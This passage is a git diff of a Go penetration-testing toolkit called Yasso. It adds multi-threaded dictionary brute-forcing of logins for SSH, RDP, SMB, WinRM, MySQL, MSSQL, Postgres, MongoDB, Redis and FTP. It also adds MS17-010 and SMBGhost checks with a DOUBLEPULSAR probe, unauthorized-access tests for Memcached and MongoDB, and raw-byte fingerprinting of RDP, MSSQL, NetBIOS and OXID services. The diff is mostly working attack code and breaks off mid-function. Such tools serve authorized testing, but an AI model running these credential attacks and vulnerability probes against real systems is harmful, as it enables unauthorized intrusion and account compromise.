+ Timeout: s.timeout, + PublicKey: "", + }) + if ok { + logger.JSONSave(ip, logger.VulnerabilitySave, "MS17010") + } + }() + func() { + ok := SmbGhostConn(config.ServiceConn{ + Hostname: ip, + Port: 445, + Domain: "", + Timeout: s.timeout, + PublicKey: "", + }) + if ok { + logger.JSONSave(ip, logger.VulnerabilitySave, "CVE-2020-0796") + } + }() + mutex.Unlock() + } + }() + } + for _, ip := range ipAlive { + // 带有端口的不进行扫描,直接加入 + if strings.Count(ip, ":") == 1 && strings.Split(ip, ":")[0] != strconv.Itoa(445) { + continue + } else if strings.Split(ip, ":")[0] == strconv.Itoa(445) { + ipChannel <- strings.Split(ip, ":")[0] + } else { + ipChannel <- ip + } + } + + close(ipChannel) // 防止死锁 + wg.Wait() // 等待结束 + } + logger.LoggerSave() +} diff --git a/core/plugin/brute.go b/core/plugin/brute.go new file mode 100644 index 0000000..7d8ff51 --- /dev/null +++ b/core/plugin/brute.go @@ -0,0 +1,278 @@ +package plugin + +import ( + "Yasso/config" + "Yasso/config/banner" + "Yasso/core/brute" + "Yasso/core/logger" + "Yasso/core/parse" + "fmt" + "strconv" + "strings" + "sync" + "time" +) + +var BurpMap = map[string]interface{}{ + "ssh": SshConnByUser, + "mongodb": MongoAuth, + "mysql": MySQLConn, + "mssql": MssqlConn, + "rdp": RdpConn, + "redis": RedisAuthConn, + "ftp": FtpConn, + "smb": SmbConn, + "winrm": WinRMAuth, + "postgres": PostgreConn, +} + +func BruteService(user, pass string, ipd string, module string, thread int, timeout time.Duration, isAlive bool) { + banner.Banner() + defer func() { + logger.Info("brute service complete") + }() + // 先解析传过来的ips列表 + if ipd == "" { + logger.Fatal("need ips to parse") + return + } + ips, err := parse.HandleIps(ipd) + if err != nil { + return + } + var userDic, passDic []string + if user != "" { + userDic, err = parse.ReadFile(user) + } + if pass != "" { + passDic, err = parse.ReadFile(pass) + } + if err != nil { + logger.Fatal("dic file is not found") + return + } + var wg sync.WaitGroup + var ipChannel = make(chan string, 1000) + var ipAlive []string + if isAlive == true { + for i := 0; i < thread; i++ { + wg.Add(1) + go func() { + defer wg.Done() + for ip := range ipChannel { + if ping(ip) == true { + logger.Info(fmt.Sprintf("%v is alive (ping)", ip)) + ipAlive = append(ipAlive, ip) + } + } + }() + } + for _, ip := range ips { + // 带有端口的不进行扫描,直接加入 + if strings.Contains(ip, ":") { + ipAlive = append(ipAlive, ip) + continue + } else { + ipChannel <- ip + } + } + close(ipChannel) // 防止死锁 + wg.Wait() + } else { + ipAlive = ips + } + + logger.Info(fmt.Sprintf("start brute service %v", strings.Split(module, ","))) + // 这里获取到了ip列表,格式各种各样 www.baidu.com:80 192.168.248.1 192.168.248.1:445 + for _, each := range strings.Split(module, ",") { // 遍历每一个服务 + // 这里获取到对应的服务和端口 + service := strings.Split(each, ":") + if len(service) >= 3 || len(service) <= 0 { + logger.Fatal("brute service format is error") + break + } + switch service[0] { + case "ssh": + var p int + if len(service) == 2 { + // 带端口,采用用户自带端口 + p, err = strconv.Atoi(service[1]) + } else { + // 不带端口,采用默认 + p = 22 + } + if err != nil { + logger.Fatal("port number useless") + break + } + run(ipAlive, p, userDic, passDic, timeout, thread, "ssh", BurpMap["ssh"]) + case "mongo": + var p int + if len(service) == 2 { + // 带端口,采用用户自带端口 + p, err = strconv.Atoi(service[1]) + } else { + // 不带端口,采用默认 + p = 27017 + } + if err != nil { + logger.Fatal("port number useless") + break + } + run(ipAlive, p, userDic, passDic, timeout, thread, "mongodb", BurpMap["mongodb"]) + case "mysql": + var p int + if len(service) == 2 { + // 带端口,采用用户自带端口 + p, err = strconv.Atoi(service[1]) + } else { + // 不带端口,采用默认 + p = 3306 + } + if err != nil { + logger.Fatal("port number useless") + break + } + run(ipAlive, p, userDic, passDic, timeout, thread, "mysql", BurpMap["mysql"]) + case "rdp": + var p int + if len(service) == 2 { + // 带端口,采用用户自带端口 + p, err = strconv.Atoi(service[1]) + } else { + // 不带端口,采用默认 + p = 3389 + } + if err != nil { + logger.Fatal("port number useless") + break + } + run(ipAlive, p, userDic, passDic, timeout, thread, "rdp", BurpMap["rdp"]) + case "redis": + var p int + if len(service) == 2 { + // 带端口,采用用户自带端口 + p, err = strconv.Atoi(service[1]) + } else { + // 不带端口,采用默认 + p = 6379 + } + if err != nil { + logger.Fatal("port number useless") + break + } + run(ipAlive, p, userDic, passDic, timeout, thread, "redis", BurpMap["redis"]) + case "smb": + var p int + if len(service) == 2 { + // 带端口,采用用户自带端口 + p, err = strconv.Atoi(service[1]) + } else { + // 不带端口,采用默认 + p = 445 + } + if err != nil { + logger.Fatal("port number useless") + break + } + run(ipAlive, p, userDic, passDic, timeout, thread, "smb", BurpMap["smb"]) + case "winrm": + var p int + if len(service) == 2 { + // 带端口,采用用户自带端口 + p, err = strconv.Atoi(service[1]) + } else { + // 不带端口,采用默认 + p = 5985 + } + if err != nil { + logger.Fatal("port number useless") + break + } + run(ipAlive, p, userDic, passDic, timeout, thread, "winrm", BurpMap["winrm"]) + case "postgres": + var p int + if len(service) == 2 { + // 带端口,采用用户自带端口 + p, err = strconv.Atoi(service[1]) + } else { + // 不带端口,采用默认 + p = 5432 + } + if err != nil { + logger.Fatal("port number useless") + break + } + run(ipAlive, p, userDic, passDic, timeout, thread, "postgres", BurpMap["postgres"]) + case "mssql": + var p int + if len(service) == 2 { + // 带端口,采用用户自带端口 + p, err = strconv.Atoi(service[1]) + } else { + // 不带端口,采用默认 + p = 1433 + } + if err != nil { + logger.Fatal("port number useless") + break + } + run(ipAlive, p, userDic, passDic, timeout, thread, "mssql", BurpMap["mssql"]) + case "ftp": + var p int + if len(service) == 2 { + // 带端口,采用用户自带端口 + p, err = strconv.Atoi(service[1]) + } else { + // 不带端口,采用默认 + p = 21 + } + if err != nil { + logger.Fatal("port number useless") + break + } + run(ipAlive, p, userDic, passDic, timeout, thread, "ftp", BurpMap["ftp"]) + default: + logger.Fatal(fmt.Sprintf("not found service %s", service[0])) + return + } + } + +} + +// 执行爆破的函数 +func run(ips []string, port int, user, pass []string, timeout time.Duration, thread int, service string, method interface{}) { + var ipChannel = make(chan string, 1000) // 二次复用 + var mutex sync.Mutex + var wg sync.WaitGroup + for i := 0; i < thread; i++ { + wg.Add(1) + go func() { + defer wg.Done() + for ip := range ipChannel { + // 这里获取到每一个ip + mutex.Lock() + brute.NewBrute(user, pass, method, service, config.ServiceConn{ + Hostname: ip, + Port: port, + Timeout: time.Duration(timeout), + }, thread, false, "").RunEnumeration() + mutex.Unlock() + } + }() + } + for _, ip := range ips { + // 带有端口的不进行扫描,直接直接跳过 + if strings.Count(ip, ":") == 1 { + if strings.Split(ip, ":")[1] == strconv.Itoa(port) { // 带端口,且端口和需要爆破的端口号相同 + ipChannel <- strings.Split(ip, ":")[0] + } else { + continue + } + } else { + ipChannel <- ip + } + } + close(ipChannel) // 防止死锁 + wg.Wait() +} diff --git a/cmd/eternalblue.go b/core/plugin/eternalblue.go similarity index 90% rename from cmd/eternalblue.go rename to core/plugin/eternalblue.go index fe8485a..f7c7cae 100644 --- a/cmd/eternalblue.go +++ b/core/plugin/eternalblue.go @@ -1,7 +1,8 @@ -package cmd +package plugin import ( "Yasso/config" + "Yasso/core/logger" "encoding/binary" "encoding/hex" "fmt" @@ -20,25 +21,24 @@ var ( trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000") ) -func Ms17010Conn(info config.HostIn) { - conn, err := GetConn(fmt.Sprintf("%v:%v", info.Host, info.Port), info.TimeOut) +func Ms17010Conn(info config.ServiceConn) bool { + conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout) if err != nil { - //Println()("[!] New Connect failed",err) - return + return false } - status, err := RequestMs17010(conn, info.Host) + status, err := RequestMs17010(conn, info.Hostname) if err != nil { - //Println()("[!] Request Ms17010 failed",err) - return + return false } if status == true { - return + return true } + return false } func RequestMs17010(conn net.Conn, ip string) (bool, error) { defer conn.Close() - err := conn.SetDeadline(time.Now().Add(TimeDuration)) + err := conn.SetDeadline(time.Now().Add(500 * time.Millisecond)) if err != nil { return false, err } @@ -74,7 +74,7 @@ func RequestMs17010(conn net.Conn, ip string) (bool, error) { // find byte count byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9]) if n != int(byteCount)+45 { - Println("invalid session setup AndX response") + logger.Fatal("invalid session setup AndX response") } else { // two continous null bytes indicates end of a unicode string for i := 10; i < len(sessionSetupResponse)-1; i++ { @@ -116,7 +116,7 @@ func RequestMs17010(conn net.Conn, ip string) (bool, error) { //if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os) //} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)} //color.Magenta("%s\tMS17-010\t(%s)\n", ip, os) - Println(fmt.Sprintf("[+] %v Find MS17010 (%s)", ip, os)) + logger.Info(fmt.Sprintf("%v Find MS17010 (%s)", ip, os)) // detect present of DOUBLEPULSAR SMB implant trans2SessionSetupRequest[28] = treeID[0] trans2SessionSetupRequest[29] = treeID[1] diff --git a/core/plugin/ftp.go b/core/plugin/ftp.go new file mode 100644 index 0000000..ef252a7 --- /dev/null +++ b/core/plugin/ftp.go @@ -0,0 +1,27 @@ +package plugin + +import ( + "Yasso/config" + "Yasso/core/logger" + "fmt" + "github.com/jlaffaye/ftp" + "net" + "time" +) + +func FtpConn(info config.ServiceConn, user, pass string) (bool, error) { + var flag = false + c, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), time.Duration(info.Timeout)) + + conn, err := ftp.Dial(fmt.Sprintf("%v:%v", info.Hostname, info.Port), ftp.DialWithNetConn(c)) + if err == nil { + err = conn.Login(user, pass) + if err == nil { + if pass == "" { + logger.Success(fmt.Sprintf("ftp %v unauthorized", fmt.Sprintf("%v:%v", info.Hostname, info.Port))) + } + flag = true + } + } + return flag, err +} diff --git a/core/plugin/grdp.go b/core/plugin/grdp.go new file mode 100644 index 0000000..ba683b4 --- /dev/null +++ b/core/plugin/grdp.go @@ -0,0 +1,78 @@ +package plugin + +import ( + "Yasso/config" + "Yasso/core/logger" + "Yasso/pkg/grdp" + "Yasso/pkg/grdp/glog" + "bytes" + "encoding/hex" + "fmt" + "net" +) + +func RdpConn(info config.ServiceConn, user, pass string) (bool, error) { + var err error + var host = fmt.Sprintf("%v:%v", info.Hostname, info.Port) + g := grdp.NewClient(host, glog.NONE) + //SSL协议登录测试 + err = g.LoginForSSL(info.Domain, user, pass) + if err == nil { + return true, nil + } + if err.Error() != "PROTOCOL_RDP" { + return false, err + } + //RDP协议登录测试 + err = g.LoginForRDP(info.Domain, user, pass) + if err == nil { + return true, nil + } else { + return false, nil + } +} + +func VersionRdp(info config.ServiceConn, user, pass string) (bool, string) { + conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout) + if err != nil { + return false, "" + } + msg := "\x03\x00\x00\x2b\x26\xe0\x00\x00\x00\x00\x00\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x6d\x73\x74\x73\x68\x61\x73\x68\x3d\x75\x73\x65\x72\x30\x0d\x0a\x01\x00\x08\x00\x00\x00\x00\x00" + _, err = conn.Write([]byte(msg)) + if err != nil { + return false, "" + } + reply := make([]byte, 256) + _, _ = conn.Read(reply) + if conn != nil { + _ = conn.Close() + } + + var buffer [256]byte + if bytes.Equal(reply[:], buffer[:]) { + return false, "" + } else if hex.EncodeToString(reply[0:8]) != "030000130ed00000" { + return false, "" + } + + os := map[string]string{} + os["030000130ed000001234000209080000000000"] = "Windows 7/Windows Server 2008 R2" + os["030000130ed000001234000200080000000000"] = "Windows 7/Windows Server 2008" + os["030000130ed000001234000201080000000000"] = "Windows Server 2008 R2" + os["030000130ed000001234000207080000000000"] = "Windows 8/Windows server 2012" + os["030000130ed00000123400020f080000000000"] = "Windows 8.1/Windows Server 2012 R2" + os["030000130ed000001234000300080001000000"] = "Windows 10/Windows Server 2016" + os["030000130ed000001234000300080005000000"] = "Windows 10/Windows 11/Windows Server 2019" + var banner string + for k, v := range os { + if k == hex.EncodeToString(reply[0:19]) { + banner = v + logger.Info(fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner)) + return true, fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner) + } + } + banner = hex.EncodeToString(reply[0:19]) + _ = reply + logger.Info(fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner)) + return true, fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner) +} diff --git a/cmd/icmp.go b/core/plugin/icmp.go similarity index 51% rename from cmd/icmp.go rename to core/plugin/icmp.go index c734578..520b275 100644 --- a/cmd/icmp.go +++ b/core/plugin/icmp.go @@ -1,88 +1,17 @@ -package cmd +package plugin import ( "bytes" - "fmt" - "github.com/panjf2000/ants/v2" - "github.com/spf13/cobra" "net" "os/exec" "runtime" "strings" - "sync" "time" ) -var ( - OS = runtime.GOOS // 系统架构 - Alive []string // 存活的ip列表 -) -var pingCmd = &cobra.Command{ - Use: "ping", - Short: "Use ping to scanner alive host (not support proxy)", - Run: func(cmd *cobra.Command, args []string) { - var ips []string - if Hosts == "" { - _ = cmd.Help() - return - } - if Hosts != "" { - ips, _ = ResolveIPS(Hosts) // resolve ip to []string ips - } else { - Println("Yasso scanner need a hosts") - return - } - Println(fmt.Sprintf("[Yasso] will ping %d host", len(ips))) - _ = execute(ips, RunICMP) - }, -} - -func init() { - pingCmd.Flags().StringVarP(&Hosts, "hosts", "H", "", "Set `hosts`(The format is similar to Nmap)") - pingCmd.Flags().BoolVarP(&RunICMP, "icmp", "i", false, "Icmp packets are sent to check whether the host is alive(need root)") - rootCmd.AddCommand(pingCmd) -} - -func execute(ips []string, r bool) []string { - var wg sync.WaitGroup - // 修改ants池的并发方式 - p, _ := ants.NewPoolWithFunc(len(ips), func(ip interface{}) { - var ipt string - if r == true { - // 127.0.0.1:8080格式 - if strings.Contains(ip.(string), ":") { - ipt = strings.Split(ip.(string), ":")[0] - } else { - ipt = ip.(string) - } - if icmp(ipt) { - Println(fmt.Sprintf("[+] Find %v (icmp)", ip)) - Alive = append(Alive, ip.(string)) - } - } else { - if strings.Contains(ip.(string), ":") { - ipt = strings.Split(ip.(string), ":")[0] - } else { - ipt = ip.(string) - } - if ping(ipt) { - Println(fmt.Sprintf("[+] Find %v (ping)", ip)) - Alive = append(Alive, ip.(string)) - } - } - wg.Done() - }) - for _, ip := range ips { - wg.Add(1) - _ = p.Invoke(ip) - } - wg.Wait() - return Alive -} - func ping(ip string) bool { var cmd *exec.Cmd - switch OS { + switch runtime.GOOS { case "windows": cmd = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") case "linux": diff --git a/cmd/memcache.go b/core/plugin/memcache.go similarity index 63% rename from cmd/memcache.go rename to core/plugin/memcache.go index cd35fcc..e3ec4bb 100644 --- a/cmd/memcache.go +++ b/core/plugin/memcache.go @@ -1,16 +1,16 @@ -package cmd +package plugin import ( "Yasso/config" + "Yasso/core/logger" "bytes" "fmt" + "net" "time" ) -// 未授权 - -func MemcacheConn(info config.HostIn) (bool, error) { - client, err := GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut) +func MemcacheConn(info config.ServiceConn, user, pass string) (bool, error) { + client, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout) if err != nil { return false, err } @@ -20,7 +20,7 @@ func MemcacheConn(info config.HostIn) (bool, error) { } }() if err == nil { - err = client.SetDeadline(time.Now().Add(time.Duration(info.TimeOut))) + err = client.SetDeadline(time.Now().Add(time.Duration(info.Timeout))) if err == nil { _, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten if err == nil { @@ -28,7 +28,7 @@ func MemcacheConn(info config.HostIn) (bool, error) { n, err := client.Read(reply) if err == nil { if bytes.Contains(reply[:n], []byte("STAT")) { - Println(fmt.Sprintf("[+] Memcached %s unauthorized", fmt.Sprintf("%s:%v", info.Host, info.Port))) + logger.Success(fmt.Sprintf("Memcached %s unauthorized", fmt.Sprintf("%s:%v", info.Hostname, info.Port))) return true, nil } } diff --git a/core/plugin/mongo.go b/core/plugin/mongo.go new file mode 100644 index 0000000..3f70cec --- /dev/null +++ b/core/plugin/mongo.go @@ -0,0 +1,83 @@ +package plugin + +import ( + "Yasso/config" + "Yasso/core/logger" + "fmt" + "gopkg.in/mgo.v2" + "net" + "strings" + "time" +) + +func MongoAuth(info config.ServiceConn, user, pass string) (*mgo.Session, bool, error) { + + conf := &mgo.DialInfo{ + Dial: func(addr net.Addr) (net.Conn, error) { + return net.DialTimeout("tcp", addr.String(), info.Timeout) + }, + Addrs: []string{fmt.Sprintf("%s:%d", info.Hostname, info.Port)}, + Timeout: info.Timeout, + Database: "test", + Source: "admin", + Username: user, + Password: pass, + PoolLimit: 4096, + Direct: false, + } + db, err := mgo.DialWithInfo(conf) + if err == nil { + err = db.Ping() + if err != nil { + return nil, false, err + } + return db, true, nil + } + return nil, false, err +} + +func MongoUnAuth(info config.ServiceConn, user, pass string) (bool, error) { + var flag = false + data1 := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0} + data2 := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0} + connString := fmt.Sprintf("%s:%v", info.Hostname, info.Port) + conn, err := net.DialTimeout("tcp", connString, info.Timeout) + defer func() { + if conn != nil { + conn.Close() + } + }() + if err != nil { + return false, err + } + err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout))) + if err != nil { + return false, err + } + _, err = conn.Write(data1) + if err != nil { + return false, err + } + reply := make([]byte, 1024) + count, err := conn.Read(reply) + if err != nil { + return false, err + } + text := string(reply[0:count]) + if strings.Contains(text, "ismaster") { + _, err = conn.Write(data2) + if err != nil { + return false, err + } + count, err := conn.Read(reply) + if err != nil { + return false, err + } + text := string(reply[0:count]) + if strings.Contains(text, "totalLinesWritten") { + flag = true + logger.Success(fmt.Sprintf("Mongodb %v unauthorized", info.Hostname)) + } + } + return flag, nil +} diff --git a/core/plugin/mssql.go b/core/plugin/mssql.go new file mode 100644 index 0000000..403c530 --- /dev/null +++ b/core/plugin/mssql.go @@ -0,0 +1,78 @@ +package plugin + +import ( + "Yasso/config" + "Yasso/core/logger" + "bytes" + "database/sql" + "encoding/hex" + "fmt" + _ "github.com/denisenkom/go-mssqldb" + "net" + "strconv" + "time" +) + +func MssqlConn(info config.ServiceConn, user, pass string) (*sql.DB, bool, error) { + var flag = false + db, err := sql.Open("mssql", fmt.Sprintf("sqlserver://%v:%v@%v:%v/?connection&timeout=%v&encrypt=disable", user, pass, info.Hostname, info.Port, info.Timeout)) + if err == nil { + db.SetConnMaxLifetime(time.Duration(info.Timeout)) + db.SetConnMaxIdleTime(time.Duration(info.Timeout)) + db.SetMaxIdleConns(0) + err = db.Ping() + if err == nil { + flag = true + return db, flag, nil + } + } + return db, flag, err +} + +func VersionMssql(info config.ServiceConn) (bool, string) { + conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout) + if err != nil { + return false, "" + } + + msg := "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x01\x55\x00\x00\x02\x4d\x53\x53\x51\x4c\x53\x65\x72\x76\x65\x72\x00\x00\x00\x31\x32" + _, err = conn.Write([]byte(msg)) + if err != nil { + return false, "" + } + reply := make([]byte, 256) + _, _ = conn.Read(reply) + if conn != nil { + _ = conn.Close() + } + + var buffer [256]byte + if bytes.Equal(reply[:], buffer[:]) { + return false, "" + } else if hex.EncodeToString(reply[0:4]) != "04010025" { + return false, "" + } + v, status := getVersion(reply) + if status { + logger.Info(fmt.Sprintf("%s:%v [version:%v][mssql]", info.Hostname, info.Port, v)) + return true, fmt.Sprintf("%s:%v [version:%v]", info.Hostname, info.Port, v) + } + return false, "" +} + +func getVersion(reply []byte) (string, bool) { + m, err := strconv.ParseUint(hex.EncodeToString(reply[29:30]), 16, 32) + if err != nil { + return "", false + } + s, err := strconv.ParseUint(hex.EncodeToString(reply[30:31]), 16, 32) + if err != nil { + return "", false + } + r, err := strconv.ParseUint(hex.EncodeToString(reply[31:33]), 16, 32) + if err != nil { + return "", false + } + v := fmt.Sprintf("%d.%d.%d", m, s, r) + return v, true +} diff --git a/core/plugin/mysql.go b/core/plugin/mysql.go new file mode 100644 index 0000000..b4c1b3b --- /dev/null +++ b/core/plugin/mysql.go @@ -0,0 +1,25 @@ +package plugin + +import ( + "Yasso/config" + "database/sql" + "fmt" + _ "github.com/go-sql-driver/mysql" + "time" +) + +func MySQLConn(info config.ServiceConn, user, pass string) (*sql.DB, bool, error) { + var flag = false + address := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", user, pass, info.Hostname, info.Port, info.Timeout) + db, err := sql.Open("mysql", address) + if err == nil { + db.SetConnMaxLifetime(time.Duration(info.Timeout)) + db.SetConnMaxIdleTime(time.Duration(info.Timeout)) + //defer db.Close() + err = db.Ping() + if err == nil { + flag = true + } + } + return db, flag, err +} diff --git a/core/plugin/nbnsscan.go b/core/plugin/nbnsscan.go new file mode 100644 index 0000000..15cc68b --- /dev/null +++ b/core/plugin/nbnsscan.go @@ -0,0 +1,134 @@ +package plugin + +import ( + "Yasso/core/logger" + "bytes" + "fmt" + "net" + "strconv" + "strings" + "time" +) + +func NbnsScanConn(host string, port int, timeout time.Duration) (bool, string) { + conn, err := net.DialTimeout("udp", fmt.Sprintf("%v:%v", host, port), timeout) + if err != nil { + return false, "" + } + msg := []byte{ + 0x0, 0x00, 0x0, 0x10, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x43, 0x4b, 0x41, 0x41, + 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, + 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x0, 0x0, + 0x21, 0x0, 0x1, + } + _, err = conn.Write(msg) + if err != nil { + if conn != nil { + _ = conn.Close() + } + return false, "" + } + reply := make([]byte, 256) + err = conn.SetDeadline(time.Now().Add(time.Duration(timeout))) + if err != nil { + if conn != nil { + _ = conn.Close() + } + return false, "" + } + _, _ = conn.Read(reply) + if conn != nil { + _ = conn.Close() + } + + var buffer [256]byte + if bytes.Equal(reply[:], buffer[:]) { + return false, "" + } + /* + Re: https://en.wikipedia.org/wiki/NetBIOS#NetBIOS_Suffixes + For unique names: + 00: Workstation Service (workstation name) + 03: Windows Messenger service + 06: Remote Access Service + 20: File Service (also called Host Record) + 21: Remote Access Service client + 1B: Domain Master Browser – Primary Domain Controller for a domain + 1D: Master Browser + For group names: + 00: Workstation Service (workgroup/domain name) + 1C: Domain Controllers for a domain (group record with up to 25 IP addresses) + 1E: Browser Service Elections + */ + var n int + NumberFoNames, _ := strconv.Atoi(convert([]byte{reply[56:57][0]}[:])) + var flagGroup string + var flagUnique string + var flagDC string + + for i := 0; i < NumberFoNames; i++ { + data := reply[n+57+18*i : n+57+18*i+18] + if string(data[16:17]) == "\x84" || string(data[16:17]) == "\xC4" { + if string(data[15:16]) == "\x1C" { + flagDC = "Domain Controllers" + } + if string(data[15:16]) == "\x00" { + flagGroup = nbnsByteToStringParse(data[0:16]) + } + if string(data[14:16]) == "\x02\x01" { + flagGroup = nbnsByteToStringParse(data[0:16]) + } + } else if string(data[16:17]) == "\x04" || string(data[16:17]) == "\x44" || string(data[16:17]) == "\x64" { + if string(data[15:16]) == "\x1C" { + flagDC = "Domain Controllers" + } + if string(data[15:16]) == "\x00" { + flagUnique = nbnsByteToStringParse(data[0:16]) + } + if string(data[15:16]) == "\x20" { + flagUnique = nbnsByteToStringParse(data[0:16]) + } + + } + } + if flagGroup == "" && flagUnique == "" { + return false, "" + } + + result := make(map[string]interface{}) + result["banner.string"] = flagGroup + "\\" + flagUnique + result["identify.string"] = fmt.Sprintf("[%s]", logger.LightRed(flagDC)) + if len(flagDC) != 0 { + result["identify.bool"] = true + } else { + result["identify.bool"] = false + } + if result["identify.bool"] == true { + logger.Success(fmt.Sprintf("[%s] %v %v", fmt.Sprintf("%v:%v", host, port), result["banner.string"], result["identify.string"])) + } else { + logger.Success(fmt.Sprintf("[%s] %v", fmt.Sprintf("%v:%v", host, port), result["banner.string"])) + } + + return true, fmt.Sprintf("%v", result["banner.string"]) +} + +func convert(b []byte) string { + s := make([]string, len(b)) + for i := range b { + s[i] = strconv.Itoa(int(b[i])) + } + return strings.Join(s, "") +} + +func nbnsByteToStringParse(p []byte) string { + var w []string + var res string + for i := 0; i < len(p); i++ { + if p[i] > 32 && p[i] < 127 { + w = append(w, string(p[i])) + continue + } + } + res = strings.Join(w, "") + return res +} diff --git a/core/plugin/oxidscan.go b/core/plugin/oxidscan.go new file mode 100644 index 0000000..db43c0f --- /dev/null +++ b/core/plugin/oxidscan.go @@ -0,0 +1,77 @@ +package plugin + +import ( + "Yasso/core/logger" + "bytes" + "encoding/hex" + "fmt" + "net" + "strings" + "time" +) + +func OxidScanConn(host string, port int, timeout time.Duration) (bool, string) { + conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", host, port), timeout) + if err != nil { + return false, "" + } + + msg1 := "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00\xf8\x0f\xf8\x0f\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\xc4\xfe\xfc\x99\x60\x52\x1b\x10\xbb\xcb\x00\xaa\x00\x21\x34\x7a\x00\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00" + msg2 := "\x05\x00\x00\x03\x10\x00\x00\x00\x18\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00" + _, err = conn.Write([]byte(msg1)) + if err != nil { + return false, "" + } + reply1 := make([]byte, 256) + _, _ = conn.Read(reply1) + + if hex.EncodeToString(reply1[0:8]) != "05000c0310000000" { + return false, "" + } + + _, err = conn.Write([]byte(msg2)) + if err != nil { + return false, "" + } + + reply2 := make([]byte, 512) + _, _ = conn.Read(reply2) + if conn != nil { + _ = conn.Close() + } + c := 0 + zero := make([]byte, 1) + var buffer bytes.Buffer + result := make(map[string]string) + for i := 0; i < len(reply2[42:]); { + b := reply2[42:][i : i+2] + i += 2 + if 42+i == len(reply2[42:]) { + break + } + if string(b) == "\x09\x00" { + break + } + if string(b) == "\x07\x00" { + c += 1 + if c == 6 { + break + } + buffer.Write([]byte("\x7C\x7C")) + result["banner.string"] = strings.Join([]string{string(buffer.Bytes())}, ",") + continue + } + if bytes.Equal(b[0:1], zero[0:1]) { + continue + } + buffer.Write(b[0:1]) + result["banner.string"] = strings.Join([]string{string(buffer.Bytes())}, ",") + if c == 6 { + break + } + } + if len(strings.Split(result["banner.string"], "||")) > 0 { + logger.Success(strings.Split(result["banner.string"], "||")) + } + return true, fmt.Sprintf("%v", strings.Split(result["banner.string"], "||")) +} diff --git a/core/plugin/postgres.go b/core/plugin/postgres.go new file mode 100644 index 0000000..67363b8 --- /dev/null +++ b/core/plugin/postgres.go @@ -0,0 +1,22 @@ +package plugin + +import ( + "Yasso/config" + "database/sql" + "fmt" + "time" +) + +func PostgreConn(info config.ServiceConn, user, pass string) (bool, error) { + var flag = false + db, err := sql.Open("postgres", fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", user, pass, info.Hostname, info.Port, "postgres", "disable")) + if err == nil { + db.SetConnMaxLifetime(time.Duration(info.Timeout)) + defer db.Close() + err = db.Ping() + if err == nil { + flag = true + } + } + return flag, err +} diff --git a/core/plugin/ps.go b/core/plugin/ps.go new file mode 100644 index 0000000..a055b4c --- /dev/null +++ b/core/plugin/ps.go @@ -0,0 +1,64 @@ +package plugin + +import ( + "Yasso/core/logger" + "fmt" + "net" + "sync" + "time" +) + +type Scanner struct { + ports []int + ip string + scanChannel chan int + thread int + scan func(ip string, port int) bool +} + +func NewRunner(ports []int, ip string, thread int, scan func(ip string, port int) bool) *Scanner { + return &Scanner{ + ports: ports, + ip: ip, + scanChannel: make(chan int, 1000), + thread: thread, + scan: scan, + } +} + +func (s *Scanner) RunEnumeration() []int { + var wg sync.WaitGroup + var re []int + for i := 0; i < s.thread; i++ { + wg.Add(1) + go func() { + defer wg.Done() + for p := range s.scanChannel { + if s.scan(s.ip, p) { + logger.Info(fmt.Sprintf("%v:%v is open", s.ip, p)) + re = append(re, 